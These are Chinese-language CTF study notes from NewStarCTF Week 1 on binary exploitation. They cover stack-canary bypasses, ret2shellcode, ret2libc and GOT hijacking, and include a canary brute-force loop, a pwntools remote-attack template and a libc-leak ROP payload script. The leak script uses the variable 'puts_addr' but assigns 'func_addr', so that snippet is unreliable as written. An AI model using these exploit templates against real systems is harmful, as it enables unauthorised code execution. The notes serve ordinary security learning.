NewStarCTF学习笔记-WEEK1
WEEK1
return to text[text区域]
通过向栈上堆砌长度足够且合适的"垃圾信息"改写 ret
指令指向的地址,执行对应函数
注意点:保护,遇上Canary要进行绕过
常见的Canary绕过方式
-
泄露栈中的 Canary
Canary 设计为以字节
\x00
结尾,本意是为了保证 Canary 可以截断字符串. 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分.这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程. -
one-by-one 爆破 Canary
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的,并且通过
fork
函数创建的子进程的 Canary 也是相同的,因为fork
函数会直接拷贝父进程的内存.我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来.在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary.这是爆破的 Python 代码:
print("[+] Brute forcing stack canary ") start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print("\t[+] Byte found 0x%02x" % i) break if i == 255: print("[-] Exploit failed") sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print(" [+] SSP value is 0x%s" % canary)
-
劫持
__stack_chk_fail
函数
已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed
函数. stack_chk_failed
函数是一个普通的延迟绑定函数,可以通过修改 GOT表
劫持这个函数.
- 覆盖 TLS 中储存的 Canary 值
已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比.当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过.
retutn to shellcode[构造shellcode]
IDA里shift
+F12
查看字符串,没有发现'/bin/sh','system','execve'等常规的可以拿取shell的字符时,可以考虑通过栈溢出到ret
指令,使其指向编译好的shellcode
拿取shell.
一般要有两个及以上的可写地址的gadget函数[read,scanf...] (前用于写入shellcode
,后用于栈溢出到ret
指令执行shellcode
)
shellcode = asm(shellcraft.sh()) # 汇编,生成shellcode
return to libc[libc库]
IDA里shift
+F12
查看字符串,没有发现'/bin/sh','system','execve'等常规的可以拿取shell的字符时,可以考虑通过泄露libc库
结合 溢出到ret
指令 进行system("/bin/sh")
函数构造和执行.
GOT表劫持/覆写
根据动态链接
和延迟绑定技术
,运用任意地址读写技术对某个函数的GOT表进行改写,使其指向想要执行的危险函数[如system
, execve
函数]
任意地址读写技术
- 运用程序原本就存在的可供读写的函数进行任意地址的读写[常用
scanf
,read
,fflush
,fgets
...] - 通过ROP链构造读写函数
Python调用C语言函数
CTypes
模块SWIG
Python/C API
脚本整理
- pwn基本通用架构[易读易调试版本]
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 1 # 状态,进行本地调试或进行远程攻击
def main():
if content == 1:
res = process("") # 链接到本地程序
else:
res = remote("", ) # 连接到远程靶机,字符串里是地址,逗号后是端口
payload = xxx
# 这几行视情况而定数量
res.recvuntil("") # 获取服务器程序返回
res.sendline("") # 发送要输入的数据
res.recvuntil("")
res.sendline(payload)
res.interactive() # 起动交互式(shell)
main()
- 泄露libc
# 先进行libc库的绑定
elf = ELF(fpath)
libc = elf.libc
# 获取相关的地址 IDA静态分析 或 进程中动态分析
poprdi_addr = xxx # pop rdi指令的地址,用于构建payload
func_got = elf.got['puts'] # 用于泄露的函数的got表地址
func_plt = elf.plt['puts'] # 用于泄露的函数的plt表
main_addr = xxx # main函数的起始地址,用于跳回重新执行
payload = b'a' * () + p64(canary) + p64(0) + \
p64(poprdi_addr) + p64(func_got) + p64(func_plt) + p64(main_addr)
# 64位 payload组成:栈溢出 + (canary绕过+) 占位 + pop rdi指令地址 + 用于泄露的函数的GOT的地址
# + 用于泄露的函数的plt的地址(作为用于泄露的函数的参数用于libc泄露) + ret指令参数(用于跳回重新执行程序)
# 32位 payload组成:栈溢出 + ‘aaaa’(4长度,覆盖EBP) + 用于泄露的函数的plt的地址 + 返回执行程序的地址 + 用于泄露的函数的参数构造(如write()函数[write(1,‘write_got’,4)]: p32(1)+ p32(write_got)+p32(4))
r.sendlineafter("", payload)
r.recvuntil("")
# 直到7f出现的位置作为终点,开始往前读6个字节数据,然后再8字节对齐,不足8位补\x00
# 32位 可用 func_addr = u32(r.recv()[0:4])
func_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) # 用于泄露的函数的真实地址
# u64是用来解包的,将整形转为字符型,也就是说里面接收的应该是字节流
# l.just(8,'\x00')指取8个字节,不够的用\x00,即0来填充
# p.recvuntil('\x7f')[-6:] \x7f是64位程序函数地址的默认开头,-6就是从倒数第6个字节开始取,在内存中是倒着放的
print("[DEBUG] puts_addr:" + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] # libc基址
print("[DEBUG] libc_base:" + hex(libc_base))
sys_addr = libc.symbols['system'] + libc_base # system(危险函数)真实地址计算
print("[DEBUG] sys_addr:" + hex(sys_addr))
sh_addr = next(libc.search(b"/bin/sh\0")) + libc_base # 相关参数地址计算
# [!!!注意!!!]由于python版本的改版,迭代器的迭代方法写法有所改动
# 2.x环境下为: Iteration.next()
# 3.x环境下为: next(Iteration)
print("[DEBUG] sh_addr:" + hex(sh_addr))